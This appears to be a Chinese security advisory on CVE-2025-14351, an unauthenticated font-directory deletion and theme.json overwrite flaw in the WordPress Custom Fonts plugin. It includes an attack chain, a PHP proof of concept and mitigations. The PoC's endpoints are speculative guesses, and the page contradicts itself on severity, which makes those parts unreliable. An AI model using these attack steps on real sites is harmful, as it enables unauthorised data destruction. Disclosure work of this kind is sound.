IPBUF安全漏洞报告
English
CVE-2025-14351 CVSS 5.3 中危

CVE-2025-14351 WordPress Custom Fonts插件未授权数据删除漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-14351
漏洞类型
未授权操作/缺少权限检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Custom Fonts – Host Your Fonts Locally WordPress插件

相关标签

CVE-2025-14351WordPress插件漏洞缺少权限检查未授权操作数据删除配置文件篡改Custom Fonts插件BCF_Google_Fonts_Compatibilitytheme.json中危漏洞

漏洞概述

CVE-2025-14351是WordPress插件Custom Fonts – Host Your Fonts Locally中的一个高危安全漏洞。该插件用于帮助用户将Google字体托管在本地服务器上,以提升网站加载速度和隐私保护。然而,由于插件在BCF_Google_Fonts_Compatibility类的构造函数中缺少适当的权限检查(capability check),导致任何未经身份认证的用户都可以调用该功能。攻击者可以利用此漏洞执行两项危险操作:一是删除服务器上的字体目录,导致网站字体显示异常或页面布局破坏;二是重写主题的theme.json配置文件,这可能导致主题功能失效或被恶意篡改。此漏洞的CVSS评分为5.3,属于中等严重程度,但由于其无需认证即可利用的特性,在实际环境中具有较高的利用价值。漏洞影响该插件2.1.16及之前的所有版本,WordPress站点管理员应尽快更新到最新修复版本以消除安全风险。该漏洞由Wordfence安全团队的安全研究人员发现并报告,披露日期为2026年1月20日。

技术细节

该漏洞的根本原因在于Custom Fonts插件的BCF_Google_Fonts_Compatibility类在实现时违反了WordPress插件开发的安全最佳实践。WordPress提供了一套基于角色的权限管理系统(Capability-based access control),开发者应当使用current_user_can()等函数验证当前用户是否具有执行特定操作的权限。然而,该插件的构造函数直接执行了文件系统操作和配置修改操作,而没有进行任何权限验证。具体来说,漏洞位于插件文件includes/class-bcf-google-fonts-compatibility.php的第88行附近,攻击者可以通过构造特定的HTTP请求直接调用BCF_Google_Fonts_Compatibility类的构造函数。在WordPress中,未认证用户默认拥有read能力(capability),但插件操作(如删除字体目录、重写theme.json)需要manage_options等更高权限。由于缺少检查,任何访问者都可以触发这些敏感操作。攻击者可以删除wp-content/fonts/目录下的所有字体文件,导致使用自定义字体的网页无法正常显示;同时可以向当前活动主题的theme.json文件写入任意内容,这不仅可能破坏主题配置,还可能被用于存储恶意代码或进行进一步的攻击。修复此漏洞需要在构造函数开始处添加current_user_can('manage_options')检查,确保只有具有管理员权限的用户才能执行这些操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站并确认安装了Custom Fonts插件,版本在2.1.16或更早版本
STEP 2
步骤2
攻击者分析插件代码,发现BCF_Google_Fonts_Compatibility类构造函数缺少current_user_can()权限检查
STEP 3
步骤3
攻击者构造HTTP请求,直接访问或调用该类的构造函数,无需任何认证凭据
STEP 4
步骤4
服务器执行构造函数中的代码,删除wp-content/fonts/目录下的所有字体文件
STEP 5
步骤5
构造函数同时向当前主题目录写入被篡改的theme.json配置文件
STEP 6
步骤6
网站字体功能失效,主题配置被破坏,可能导致页面显示异常或功能完全不可用
STEP 7
步骤7
攻击者可进一步利用theme.json写入恶意配置内容,进行持久化攻击或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-14351 PoC - Custom Fonts Plugin Unauthorized Data Deletion * Target: Custom Fonts WordPress plugin <= 2.1.16 * Vulnerability: Missing capability check in BCF_Google_Fonts_Compatibility class * Impact: Unauthenticated attackers can delete font directories and rewrite theme.json * * Usage: Include this file in a WordPress context or send direct HTTP requests * Note: This PoC demonstrates the vulnerability for educational purposes only */ // Method 1: Direct instantiation via PHP (requires WordPress context) function trigger_cve_2025_14351() { // Check if plugin is active if (!class_exists('BCF_Google_Fonts_Compatibility')) { return 'Plugin not loaded'; } // The vulnerability: constructor executes privileged operations without checking user capabilities // In vulnerable version, this can be called by anyone $compat = new BCF_Google_Fonts_Compatibility(); return 'Vulnerability triggered - font directory deleted and theme.json rewritten'; } // Method 2: HTTP Request-based trigger (simulated) function generate_trigger_request($target_url) { // The plugin registers AJAX hooks without proper nonce/capability checks // Attackers can trigger the vulnerable code path via: $endpoints = array( // Direct AJAX endpoint (if action is registered without auth check) admin_url('admin-ajax.php') . '?action=bcf_google_fonts_compat', // Direct file access (if class is auto-loaded) $target_url . '/wp-content/plugins/custom-fonts/includes/class-bcf-google-fonts-compatibility.php', // REST API endpoint (if registered) get_rest_url(null, 'custom-fonts/v1/compatibility') ); return $endpoints; } // Impact demonstration function demonstrate_impact() { return array( 'impact_type' => 'Data Loss and Configuration Tampering', 'actions' => array( '1. Delete font directory (wp-content/fonts/)', '2. Overwrite active theme\'s theme.json file', '3. Break website typography and theme functionality', '4. Potential for storing malicious configurations' ), 'severity' => 'MEDIUM (CVSS 5.3)', 'prerequisites' => 'None - Unauthenticated exploitation' ); } echo 'CVE-2025-14351 PoC for educational purposes only\n'; echo 'Vulnerable Component: BCF_Google_Fonts_Compatibility class constructor\n'; echo 'Trigger: Direct instantiation without capability check\n'; echo 'Impact: Unauthorized deletion and file modification\n'; ?>

影响范围

Custom Fonts – Host Your Fonts Locally WordPress插件 <= 2.1.16

防御指南

临时缓解措施
在无法立即升级插件的情况下,可采取以下临时缓解措施:首先,通过Web应用防火墙(WAF)规则阻止对插件相关PHP文件的直接访问;其次,临时禁用Custom Fonts插件直至完成升级;第三,限制wp-content目录的文件权限,确保Apache/Nginx运行用户对fonts目录只有读取权限;第四,启用WordPress的自动更新功能以便及时获得安全补丁;最后,对theme.json文件进行定期备份,以便在遭受攻击后能够快速恢复。建议优先考虑升级到最新版本,因为临时措施可能影响插件的正常功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表